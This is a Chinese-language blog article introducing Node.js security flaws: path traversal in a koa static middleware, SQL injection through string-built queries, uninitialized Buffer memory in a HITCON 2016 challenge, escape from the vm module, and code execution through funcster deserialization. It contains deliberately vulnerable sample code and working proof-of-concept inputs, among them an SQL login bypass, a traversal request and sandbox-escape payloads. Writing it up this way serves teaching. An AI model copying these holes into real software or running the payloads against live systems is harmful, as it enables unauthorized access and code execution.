浅谈 Node.js 安全

浅谈 Node.js 安全

随着 Node.js 的应用慢慢的变多,RESTful API 也好 RPC 也好,在应用广泛的同时,特别是 npm 仓库上存在大量质量参差不齐,年久失修的库,Node.js 的安全问题慢慢变得严峻起来,这里主要简单谈论一些 HTTP 相关的安全问题。

先说说几个所有语言都存在的几个问题

1. Directory Traversal,也就是任意目录遍历

这类问题主要存在于一些静态文件的 middleware 中,这里用 koa 写一个最简单的例子:

const fs = require('fs')
const path = require('path')
const static = dir => {
  return async (ctx, next) => {
    const filename = path.resolve(__dirname, path.join(dir, ctx.path))
    ctx.assert(fs.existsSync(filename), 404)
    ctx.body = fs.readFileSync(filename)
  }
}

假设存在一个目录结构:

// .
// ├── index.js
// ├── package.json
// └── static
//     └── 1.txt

// 使用中间件
app.use(static('./static'))

GET /1.txt
// 这里会返回 1.txt 的内容

GET /../index.js
// 这里会返回 index.js 的内容

案例:今年六月份 koajs 下的一个中间件 static-cache 就有这个问题,感兴趣可以去看看,koajs/static-cache #66

解决方法也很简单,path 模块提供了 normalize 方法, 对路径处理后判断是否在规定的目录下即可。

2. SQL Injection

这是个老问题了,还是让我们先举一个最简单的例子:

const mysql = require('mysql')
const sha256 = require('./util').sha256
const connection = mysql.createConnection({ /* */ })
const { username, password } = ctx.request.body
connection.query(`SELECT * FROM USERS WHERE username='${username}' and password='${sha256(password)}';`)

当此时 username = "admin'; #" 时,整个 sql 语句变成 SELECT * FROM USERS WHERE username='admin'; # password=sha256hex; 也就实现了任意用户登录。

这里不再继续说 SQL Injection 了,有太多的 WAF,或者分析工具,比如 SQLChop

平时开发的时候找个靠谱一点的 ORM 一般就没问题,但要注意的是就算用了 ORM 也有可能产生注入,做好安全升级即可。

案例:knex SQL Injection knex #737

再说说几个 Node.js 的几个问题

1. Uninitialized Memory Exposure

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

new Buffer(4)
// <Buffer 1a 00 3c 22>

new Buffer(4)
// <Buffer 45 ed 10 9d>

在 HITCON 2016 上,就出过类似的题 (原来我也想出的,被 orange 大佬抢先了),贴出题目的源码:

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {VM} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag;

app.get("/", function (req, res) {
  res.header("Content-Type", "text/plain");

  /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
  eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
  if (req.query.data && req.query.data.length <= 12) {
    var vm = new VM({
      timeout: 1000
    });
    console.log(req.query.data);
    res.send("eval ->" + vm.run(req.query.data));
  } else {
    res.send(fs.readFileSync(__filename).toString());
  }
});

app.listen(3000, function () {
  console.log("listening on port 3000!");
});

这里能在 vm 环境中执行任意命令,req.query.data.length 的限制可以通过传入数组绕过,vm 模块会执行数组的最后一个元素。

由于 Buffer 可以得到未被清空的内存, 所以可以拿到不知道B变量名的 flag 变量,当然在老版本下也存在 12 个字符以下的 payload:Buffer(1e4)

这里比较有趣的一点是用到了 vm2 这个模块,至于这里为什么不用官方的 vm 模块,稍后会写到。

2. Arbitrary Code Execution & VM Escape

前一段时间被大肆报道的一个模块 node-serialize,看了一下内容,不是很清楚为什么这个模块被作为大新闻报道,还出现了各种进一步利用、完美利用等文章,不知道是不是模块名带有 node 的缘故, 不知情者把他当做成了官方库.

本质上这是一个序列化 <—> 反序列化的过程,因为反序列化的过程中采用了 new Function(), 导致了任意代码执行。不单单是 Node.js, 诸如 Java,PHP,Ruby 和 Python 也都曾出现过许多反序列化漏洞,许多 CTF 比赛上也经常出现 PHP 的反序列化题目。

在我搜寻 node-serialize 相关文章的时候,某篇文章下有人提到了不用 eval 或 Function 作为反序列化的工具,而采用官方提供的 vm 模块,举了另一个库 funcster 作为例子,这也是一个反序列化的库, 不过它把 vm 模块直接作为一个 sandbox 用来隔离代码环境,但这依旧不安全。

这里简单介绍一下 vm 模块,它用来创建一个干净的上下文环境,官方文档是这么写的:

JavaScript code can be compiled and run immediately or compiled, saved, and run later.
Note: The vm module is not a security mechanism. Do not use it to run untrusted code.

Node.js 文档也提到了不要把 vm 当做一个安全的沙箱,事实上也是如此。

举一个栗子:

const vm = require('vm')
vm.runInNewContext(`
    console.log(require)
`, { console })
// undefined

看起来似乎隔离了代码环境,不过这样可以逃逸到外面的代码环境:

const vm = require('vm')
vm.runInNewContext(`
    console.log(this.constructor.constructor('return require')())
`, { console })
// [Function: require]

让我们回到 funcster 这个模块,先看一下他的文档:

serialize(function() { return "Hello world!" });
// -> { __js_function: 'function() { return "Hello world!" }' }

把 __js_function 当做 function 反序列化的标志,此外在模块源码的 _generateModuleScript 函数:

_generateModuleScript: function(serializedFunctions) {
  var body, entries, name;
  entries = [];
  for (name in serializedFunctions) {
    body = serializedFunctions[name];
    entries.push("" + (JSON.stringify(name)) + ": " + body);
  }
  entries = entries.join(',');
  return "module.exports=(function(module,exports){return{" + entries + "};})();";
}

这里的 name 是 func_,那么结合它的拼接语句,可以得到一个任意执行代码的 payload:

const funcster = require('funcster')
const a = {
  __js_function:
    "1}}, (() => { this.constructor.constructor('return console')().log('pwn') })() , function(){return{"
}
funcster.deepDeserialize(a) // pwn

实现了任意代码执行。

如果实在想要一个安全的执行环境,可以看看修复了此问题的 vm2 模块,这个模块的潜在隐患还有很多,比如 SSR 就需要用到 vm。

写在最后

本文只是简单的对 Node.js 的安全方面做了一点介绍,表述不清楚或错误的地方请留言指正。希望能对想学习一点后端知识的前端有所帮助。

编辑于 2017-07-27

文章被以下专栏收录

    只看代码的话,上 https://github.com/ElemeFe 。这一群人,关心的不是「如何写前端」而是「如何很好地运行一个 ( web ) APP」;这一群人,会在监控屏上加上弹幕,会让实习生自主招聘,会设计、编写、监控整个 APP 的生命周期;这一群人,玩的时候... 更卖力,就像从来没来过那般卖力,卖力地热爱生活。所以这些创作大多基于 ❤️